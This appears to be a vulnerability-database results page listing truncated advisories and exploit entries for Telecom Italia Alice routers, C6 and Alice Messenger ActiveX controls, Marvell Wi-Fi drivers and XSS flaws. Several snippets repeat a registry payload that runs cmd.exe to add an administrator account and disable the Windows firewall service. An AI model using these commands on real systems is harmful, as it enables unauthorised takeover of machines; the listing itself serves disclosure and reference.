Marvell Driver Malformed Association Request Vulnerability

Title: ------ Marvell Driver Malformed Association Request Vulnerability Summary: -------- The wireless drivers in some Wi-Fi access points such as the MARVELL-based Linksys WAP4400N do not correctly parse some malformed 802.11 frames. Assigned CVE: ------------- CVE-2008-4441 Details: -------- T...

Telecom Italia Alice Pirelli routers Backdoor from internal LAN/WAN

Exploit for hardware platform in category remote exploits =================================================================== Telecom Italia Alice Pirelli routers Backdoor from internal LAN/WAN =================================================================== saxdax & drpepperONE Discovered...

Telecom Italia Alice Pirelli routers - Backdoor from internal LAN/WAN

saxdax & drpepperONE Discovered embedded backdoor to activate telnet/ftp/tftp/web extended admin interface with Admin privileges, from internal network lan on Alice ADSL CPE Modem/Router, manufactered by Pirelli based on Broadcom platform. saxdax & drpepperONE Router Vendor: Alice Telecom Italia...

Marvell Driver EAPoL-Key Length Overflow

Title: ------ Marvell Driver EAPoL-Key Length Overflow Summary: -------- The wireless drivers in some Wi-Fi access points such as the MARVELL-based Netgear WN802T do not correctly parse malformed EAPoL-Key packets. This packet is used for unicast/multicast key derivation which are called 4-way...

Marvell Driver Null SSID Association Request Vulnerability

Title: ------ Marvell Driver Null SSID Association Request Vulnerability Summary: ------ The wireless drivers in some Wi-Fi access points such as the MARVELL-based Netgear WN802T do not correctly parse SSID information element included in association requests. Most information elements are used b...

C6 Messenger下载Url DownloaderActiveX控件远程代码执行漏洞

C6 Messenger是由意大利电信提供的即时聊天程序。 C6 Messenger所安装的ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞控制用户系统。 用户可从 http://c6.community.alice.it/download/c6.html 下载并安装C6...

[NSG 03-06-2008] C6 Messenger Installation Url DownloaderActiveX Control Remote Download & Execute Exploit

!-- C6 Messenger Installation Url DownloaderActiveX Control Remote Download & Execute Exploit by Nine:Situations:Group::SnoopyAssault site: http://retrogod.altervista.org/ exploit url: http://retrogod.altervista.org/9sgc6downloadexec.html "C6 Messenger is an instant messaging program produced by...

C6 Messenger - ActiveX Remote Download and Execute

C6 Messenger - ActiveX Remote Download and Execute !-- C6 Messenger Installation Url DownloaderActiveX Control Remote Download & Execute Exploit by Nine:Situations:Group::SnoopyAssault site: http://retrogod.altervista.org/ "C6 Messenger is an instant messaging program produced by Telecom Italia...

C6 Messenger - ActiveX Remote Download and Execute

!-- C6 Messenger Installation Url DownloaderActiveX Control Remote Download & Execute Exploit by Nine:Situations:Group::SnoopyAssault site: http://retrogod.altervista.org/ "C6 Messenger is an instant messaging program produced by Telecom Italia Group, specifically by Alice distribution, Icon Spa...

Unfixed XSS vulnerability at www.universaltelecominc.com

Security researcher PanZerTurK, has submitted on 12/02/2007 a cross-site-scripting XSS vulnerability affecting www.universaltelecominc.com, which at the time of submission ranked 0 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 12/02/2007. It ...

Design/Logic Flaw

The HPRevolutionRegistryManager ActiveX control in Hp.Revolution.RegistryManager.dll 1 in Telecom Italy Alice Messenger allows remote attackers to create registry keys and values via the arguments to the WriteRegistry method...

CVE-2007-4740

The HPRevolutionRegistryManager ActiveX control in Hp.Revolution.RegistryManager.dll 1 in Telecom Italy Alice Messenger allows remote attackers to create registry keys and values via the arguments to the WriteRegistry method...

CVE-2007-4740

The vulnerability CVE-2007-4740 affects the HPRevolutionRegistryManager ActiveX control in Hp.Revolution.RegistryManager.dll 1 used by Telecom Italia Alice Messenger. The issue allows a remote attacker to create registry keys and values by supplying arguments to the WriteRegistry method, exposing...

CVE-2007-4740: Undefined Security Weakness

The HPRevolutionRegistryManager ActiveX control in Hp.Revolution.RegistryManager.dll 1 in Telecom Italy Alice Messenger allows remote attackers to create registry keys and values via the arguments to the WriteRegistry method...

Telecom Italy Alice Messenger Remote registry key manipulation Exploit

No description provided by source. !-- 04.50 20/08/2007 Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll v.1 remote arbitrary registry key manipulation I mean this one: http://aiuto.alice.it/offerte/messenger/installazione.html this was 0day for a while, but ... who knows? the new...

telecomitaly-reg.txt

group="HKEYLOCALMACHINE" section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run" key="sun-tzu" valType=1 'REGSZ value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config SharedAccess start= disabled & net stop SharedAccess & sc config...

Telecom Italy Alice Messenger - Remote Registry Key Manipulation

Telecom Italy Alice Messenger - Remote Registry Key Manipulation group="HKEYLOCALMACHINE" section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run" key="sun-tzu" valType=1 'REGSZ value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config...

Telecom Italy Alice Messenger Remote registry key manipulation Exploit

Exploit for unknown platform in category remote exploits ====================================================================== Telecom Italy Alice Messenger Remote registry key manipulation Exploit ====================================================================== group="HKEYLOCALMACHINE"...

Telecom Italy Alice Messenger - Remote Registry Key Manipulation

group="HKEYLOCALMACHINE" section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run" key="sun-tzu" valType=1 'REGSZ value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config SharedAccess start= disabled & net stop SharedAccess & sc config...

tim-xss.txt

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 TIM Telecom Italia Mobile is a big italian phone company. The web portal TIM.it is vulnerable to XSS attacks in search function http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do. An attacker can steal cookie session and access with victim...